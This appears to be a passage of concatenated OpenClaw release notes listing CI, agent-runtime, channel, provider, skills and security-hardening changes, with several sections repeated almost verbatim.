• Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (#88127, #88137, #88155, #88160)
• Release/CI/E2E: refresh pinned Node Docker image digests and keep pairing challenge assertions aligned with fenced approval commands. (#84981, #84988) Thanks @LibraHo.
• Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.
• Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.
• Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.
• Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.
• Agents: accept hidden sessions_send body aliases before validation while keeping the model-facing message schema canonical. (#88229) Thanks @zhangguiping-xydt.
• CI/Crabbox: keep default runner capacity spot-only and provider-neutral so OpenClaw remote validation does not silently fall back to on-demand leases or stale AWS region hints.
• CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.
• CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.
• CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.
• CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.
• CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.
• CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.
• CI/tooling: route script edits through conventional owner tests when matching test/scripts or src/scripts coverage already exists.
• CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.
• Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.
• Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.
• Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.
• Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.
• Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.
• Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.
• Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.

Highlights

• Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
• Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (#88096, #88105, #88183, #88231)
• Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.
• Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.
• Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (#82326, #87469, #87796, #88107, #88117)
• Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.

Changes

• Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks @shakkernerd.
• Skills: let the skill_workshop agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks @shakkernerd.
• Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks @shakkernerd.
• Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks @shakkernerd.
• Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the skill_workshop agent tool. Thanks @shakkernerd.
• Plugins: externalize Tokenjuice as the official @openclaw/tokenjuice plugin with npm and ClawHub publish metadata.
• Plugins: externalize the GitHub Copilot agent runtime as the official @openclaw/copilot plugin with npm and ClawHub publish metadata.
• iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (#88096, #88105, #88231)
• Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (#87469)
• Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (#88043)
• Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (#78748) Thanks @stevenepalmer.
• Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (#82326, #88117)
• Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.

Fixes

• Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.
• Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.
• Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks @shakkernerd.
• Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when skill_workshop is available. Thanks @shakkernerd.
• CLI: keep plugins list --json on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.
• Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.
• Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (#88285)
• Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.
• Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.
• Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.
• Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (#88129, #88136, #88141, #88162, #88182)
• Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.
• Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (#88183)
• Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.
• Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.
• Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (#88127, #88137, #88155, #88160)
• Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.
• Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.
• Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.
• Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.
• Agents: accept hidden sessions_send body aliases before validation while keeping the model-facing message schema canonical. (#88229) Thanks @zhangguiping-xydt.
• CI/Crabbox: keep default runner capacity spot-only and provider-neutral so OpenClaw remote validation does not silently fall back to on-demand leases or stale AWS region hints.
• CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.
• CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.
• CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.
• CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.
• CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.
• CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.
• CI/tooling: route script edits through conventional owner tests when matching test/scripts or src/scripts coverage already exists.
• CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.
• Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.
• Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.
• Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.
• Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.
• Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.
• Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.
• Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.

Highlights

• Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
• Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (#88096, #88105, #88183, #88231)
• Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.
• Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.
• Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (#82326, #87469, #87796, #88107, #88117)
• Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.

Changes

• Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks @shakkernerd.
• Skills: let the skill_workshop agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks @shakkernerd.
• Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks @shakkernerd.
• Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks @shakkernerd.
• Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the skill_workshop agent tool. Thanks @shakkernerd.
• Plugins: externalize Tokenjuice as the official @openclaw/tokenjuice plugin with npm and ClawHub publish metadata.
• Plugins: externalize the GitHub Copilot agent runtime as the official @openclaw/copilot plugin with npm and ClawHub publish metadata.
• iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (#88096, #88105, #88231)
• Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (#87469)
• Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (#88043)
• Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (#78748) Thanks @stevenepalmer.
• Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (#82326, #88117)
• Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.

Fixes

• Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.
• Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.
• Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks @shakkernerd.
• Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when skill_workshop is available. Thanks @shakkernerd.
• CLI: keep plugins list --json on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.
• Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.
• Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (#88285)
• Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.
• Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.
• Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.
• Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (#88129, #88136, #88141, #88162, #88182)
• Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.
• Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (#88183)
• Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.
• Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.
• Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (#88127, #88137, #88155, #88160)
• Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.
• Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.
• Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.
• Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.
• Agents: accept hidden sessions_send body aliases before validation while keeping the model-facing message schema canonical. (#88229) Thanks @zhangguiping-xydt.
• CI/Crabbox: keep default runner capacity spot-only and provider-neutral so OpenClaw remote validation does not silently fall back to on-demand leases or stale AWS region hints.
• CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.
• CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.
• CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.
• CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.
• CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.
• CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.
• CI/tooling: route script edits through conventional owner tests when matching test/scripts or src/scripts coverage already exists.
• CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.
• Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.
• Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.
• Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.
• Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.
• Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.
• Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.
• Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.

Highlights

• Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (#87218, #86875, #87409, #87399, #87375)
• Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, WhatsApp profile auth roots, Telegram polling, and Microsoft Teams service URL trust checks. (#73706, #75670, #87366, #87451, #87334, #82492, #83304, #87160)
• Mobile and chat surfaces got a broader refresh: the iOS Pro UI, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (#87367, #87531, #87682)
• Browser, channel, and automation inputs are stricter: Browser tool timeouts, viewport/tab indices, Gateway ports, cron retry handling, Discord component ids, schema array refs, Telegram callback pages, and channel progress callbacks now reject malformed values earlier and preserve the intended delivery context. (#82887)
• Provider, media, and document coverage expands with Claude Opus 4.8, Fal Krea image schemas, NVIDIA featured models, MiniMax streaming music responses, encrypted PDF extraction, voice model catalogs, GitHub Copilot agent runtime support, and a Codex Supervisor plugin path for delegated Codex workflows. (#87845, #87890, #80775, #84764, #87751, #87794)
• CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, workspace dotenv provider credentials are ignored, OAuth and local service startup requests are bounded, legacy api_key auth profiles migrate to canonical form, and restart guidance is actionable. (#87398, #86281, #87361, #83655, #87559)
• Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, and viewer assets. (#86699)
• Release, QA, and E2E validation now bound more log, artifact, harness, and cross-OS waits so failing lanes produce proof instead of hanging or false-greening.

Changes

• Status: show active subagent details in status output.
• Diffs: split the default language pack and expand default Diffs language coverage while keeping the host floor aligned. (#87370, #87372) Thanks @RomneyDa.
• ClawHub: add plugin display names plus skill verification and trust surfaces. (#87354, #86699) Thanks @thewilloftheshadow and @Patrick-Erichsen.
• iOS: refresh the dev app with Pro Command, Chat, Agents, and Settings tabs wired to gateway sessions, diagnostics, chat, and realtime Talk. (#87367) Thanks @Solvely-Colin.
• Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, CLI setup flow compatibility, and backport targets. (#87313, #63050, #87685) Thanks @bdjben, @liaoandi, and @thewilloftheshadow.
• PDF/tools: use ClawPDF for PDF extraction, support encrypted PDF extraction, and surface MCP structured content in agent tool results. (#87670, #87751)
• Providers: add Claude Opus 4.8 support, Fal Krea image model schemas, NVIDIA featured model catalogs, MiniMax streaming music responses, and provider-backed voice model catalogs. (#87845, #87890, #80775, #84764, #87794) Thanks @eleqtrizit and @vincentkoc.
• Codex/GitHub: add the GitHub Copilot agent runtime and the Codex Supervisor plugin package.
• Discord: show commentary in progress drafts so live Discord runs expose useful in-progress context. (#85200)
• Plugin SDK: add a reply payload sending hook for plugins that need to deliver channel-owned replies and flatten package types for SDK declarations. (#82823, #87165) Thanks @RomneyDa.
• Policy: add policy comparison, ingress-channel conformance, and sandbox-posture conformance checks. (#85572, #85744, #86768)

Fixes

• Agents: fall back to local config pruning when the optional agents delete Gateway probe cannot authenticate, so offline installs can still delete agents without removing shared workspaces.
• Tighten phone-control mutation authorization [AI]. (#87150) Thanks @pgondhi987.
• Clarify directive persistence authorization policy [AI]. (#86369) Thanks @pgondhi987.
• Agents/Codex: keep spawned agent cwd/workspace state separated, keep hook context prompt-local, release session locks on timeout abort and runtime teardown, avoid session event queue self-wait, clean up exec abort listeners, stream assistant deltas incrementally, recover raw missing-thread compaction failures, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts and prune stale bridge files, keep Claude live tool progress visible for watchdog recovery, suppress abandoned requester completion handoff, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format skills command output, and bound compaction/steering retries. (#87218, #86875, #86123, #87399, #87375, #72574, #87383, #87400, #83022, #87671, #87738, #87747, #87706, #87546, #87541) Thanks @mbelinky, @Alix-007, @luoyanglang, @yetval, @sjf, and @joshavant.
• Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, preserve Telegram SecretRef prompt config and polling keepalives, preserve WhatsApp profile auth roots, QR display, document filenames, and plugin hook config, suppress Discord recovered tool warnings, preserve the Discord voice outbound helper, and block untrusted Teams service URLs while keeping TeamsSDK patterns aligned. (#73706, #75670, #87366, #87451, #87465, #87334, #76262, #83304, #82492, #87581, #77114, #86426, #85529, #87160) Thanks @zeroaltitude, @lukeboyett, @xiaotian, @eleqtrizit, @heyitsaamir, @amittell, @liorb-mountapps, @masatohoshino, @bladin, and @giodl73-repo.
• CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, ignore workspace dotenv provider credentials, wait for respawn child shutdown, bound Codex and GitHub Copilot OAuth/token requests, harden Codex auth probes, warm provider auth off the main thread, honor Codex response timeouts, stop migrating current Claude Haiku 4.5 profiles to Sonnet, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical api_key auth profiles, and make doctor restart follow-ups actionable. (#87398, #86281, #87361, #83655, #87559, #87719) Thanks @Patrick-Erichsen, @samzong, @giodl73-repo, @alkor2000, @mmaps, and @nxmxbbd.
• Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks and stale rate-limit cooldown probes, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, clear completed session active runs, and evict current plugin-state namespaces at row caps. (#87810, #87833) Thanks @joshavant.
• Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 no_proxy entries, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, sandbox stat fields, unsafe duration values, empty config path segments, noncanonical schema array refs, unsafe Telegram callback pages, and invalid Teams attachment-fetch DNS targets.
• Browser/input hardening: reject invalid tab indexes, excessive viewport resizes, explicit zero CDP ports, malformed geolocation options, unsafe screenshot or permission-grant timeouts, loose response-body limits, invalid cookie expiries, and non-finite Browser tool delays/timeouts.
• Cron/automation: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot, and preflight model fallbacks before skipping scheduled work. (#82887)
• Auto-reply/directives: respect provider and relayed channel metadata during directive persistence so channel-originated decisions keep their intended context. (#87683)
• WhatsApp: resolve the auth directory from the active profile so profile-scoped WhatsApp installs do not drift to the wrong credential root. (#82492)
• Gateway/session state: clear completed session active runs, avoid cold-loading providers for MCP inventory, cache single-session child indexes, cap handshake timers, and bound preauth, auth-guard, media, transcript, readiness, and port options.
• Channels/replies: preserve channel-owned progress callbacks when verbose output is off, keep group-room progress suppression intact, prefer external session delivery context, escape Discord component id delimiters, force final TUI chat repaints, show Slack reasoning previews, and normalize Discord/Matrix/Mattermost channel numeric options. (#87476, #87423)
• Agents/tool args: harden smart-quoted argument repair for edit arrays and exact escaped arguments so model-produced tool calls recover without corrupting valid input. (#86611)
• Providers/agents: preserve seeded Anthropic signatures, preserve signed thinking payloads, concatenate signature-delta chunks, preserve DeepSeek reasoning_content replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, load NVIDIA featured model catalogs, stream MiniMax music generation responses, and recover empty preflight compaction. (#87593, #87493, #80775, #84764) Thanks @eleqtrizit.
• Media/images: skip CLI image cache refs when resolving generated images and bound generated video downloads so stale refs and slow providers fail cleanly. (#87523)
• File transfer: handle late tar stdin pipe errors after archive validation or unpacking has already settled.
• Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, skip unchanged store serialization, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, avoid full session snapshots for entry reads, defer configured Slack full startup, prefer bundled plugin dist entries, and slim current metadata identity caches. (#87760)
• Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, isolate npm plugin installs per package, reject incompatible package plugin API installs, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, and release scenario logs, and keep release/google live guards current. (#87647, #87477) Thanks @rohitjavvadi.
• Release/CI: bound manual git fetches, ClawHub verifier responses, ClawHub owner metadata, Parallels limits, startup/test/memory budget parsing, and diffs viewer build warnings so release lanes fail with useful proof instead of hanging. (#87839)

Highlights

• Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (#87218, #86875, #87409, #87399, #87375)
• Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, and Microsoft Teams service URL trust checks. (#73706, #75670, #87366, #87451, #87334)
• Mobile and chat surfaces got a broader refresh: the iOS Pro UI, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (#87367, #87531, #87682)
• CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, OAuth and local service startup requests are bounded, legacy api_key auth profiles migrate to canonical form, and restart guidance is actionable. (#87398, #86281, #87361)
• Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, and viewer assets. (#86699)
• Release, QA, and E2E validation now bound more log, artifact, harness, and cross-OS waits so failing lanes produce proof instead of hanging or false-greening.

Changes

• Status: show active subagent details in status output.
• Diffs: split the default language pack and expand default Diffs language coverage while keeping the host floor aligned. (#87370, #87372) Thanks @RomneyDa.
• ClawHub: add plugin display names plus skill verification and trust surfaces. (#87354, #86699) Thanks @thewilloftheshadow and @Patrick-Erichsen.
• iOS: refresh the dev app with Pro Command, Chat, Agents, and Settings tabs wired to gateway sessions, diagnostics, chat, and realtime Talk. (#87367) Thanks @Solvely-Colin.
• Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, and backport targets. (#87313, #63050) Thanks @bdjben, @liaoandi, and @thewilloftheshadow.
• PDF/tools: use ClawPDF for PDF extraction and surface MCP structured content in agent tool results. (#87670)

Fixes

• Agents: fall back to local config pruning when the optional agents delete Gateway probe cannot authenticate, so offline installs can still delete agents without removing shared workspaces.
• Tighten phone-control mutation authorization [AI]. (#87150) Thanks @pgondhi987.
• Clarify directive persistence authorization policy [AI]. (#86369) Thanks @pgondhi987.
• Agents/Codex: keep spawned agent cwd/workspace state separated, keep hook context prompt-local, release session locks on timeout abort, avoid session event queue self-wait, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format skills command output, and bound compaction/steering retries. (#87218, #86875, #86123, #87399, #87375, #87383, #87400) Thanks @mbelinky, @Alix-007, @luoyanglang, @yetval, and @sjf.
• Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, preserve Telegram SecretRef prompt config, suppress Discord recovered tool warnings, and block untrusted Teams service URLs. (#73706, #75670, #87366, #87451, #87334) Thanks @zeroaltitude, @lukeboyett, @xiaotian, and @eleqtrizit.
• CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, wait for respawn child shutdown, bound Codex and GitHub Copilot OAuth/token requests, warm provider auth off the main thread, honor Codex response timeouts, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical api_key auth profiles, and make doctor restart follow-ups actionable. (#87398, #86281, #87361) Thanks @Patrick-Erichsen, @samzong, @giodl73-repo, and @alkor2000.
• Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, and evict current plugin-state namespaces at row caps.
• Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 no_proxy entries, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, and sandbox stat fields.
• Providers/agents: preserve seeded Anthropic signatures, concatenate signature-delta chunks, preserve DeepSeek reasoning_content replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, and recover empty preflight compaction. (#87593)
• File transfer: handle late tar stdin pipe errors after archive validation or unpacking has already settled.
• Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, skip unchanged store serialization, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, and slim current metadata identity caches.
• Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, and release scenario logs, and keep release/google live guards current.

Highlights

• Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.
• Transcripts are core: transcript-backed meeting summaries, source-provider chunks, cleaned user turns, media provenance, Codex mirrors, WebChat replies, and CLI/TUI replay now use one more reliable transcript path.
• More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots, remote media staging, and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage/WhatsApp get reaction approvals.
• Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.
• Safer content boundaries: Browser snapshot reads honor SSRF policy, system-event text cannot spoof nested prompt markers, fetched file text is wrapped as external content, ClickClack inbound sender allowlists run before agent dispatch, stale device tokens are rejected, and serialized tool-call text is scrubbed from replies.
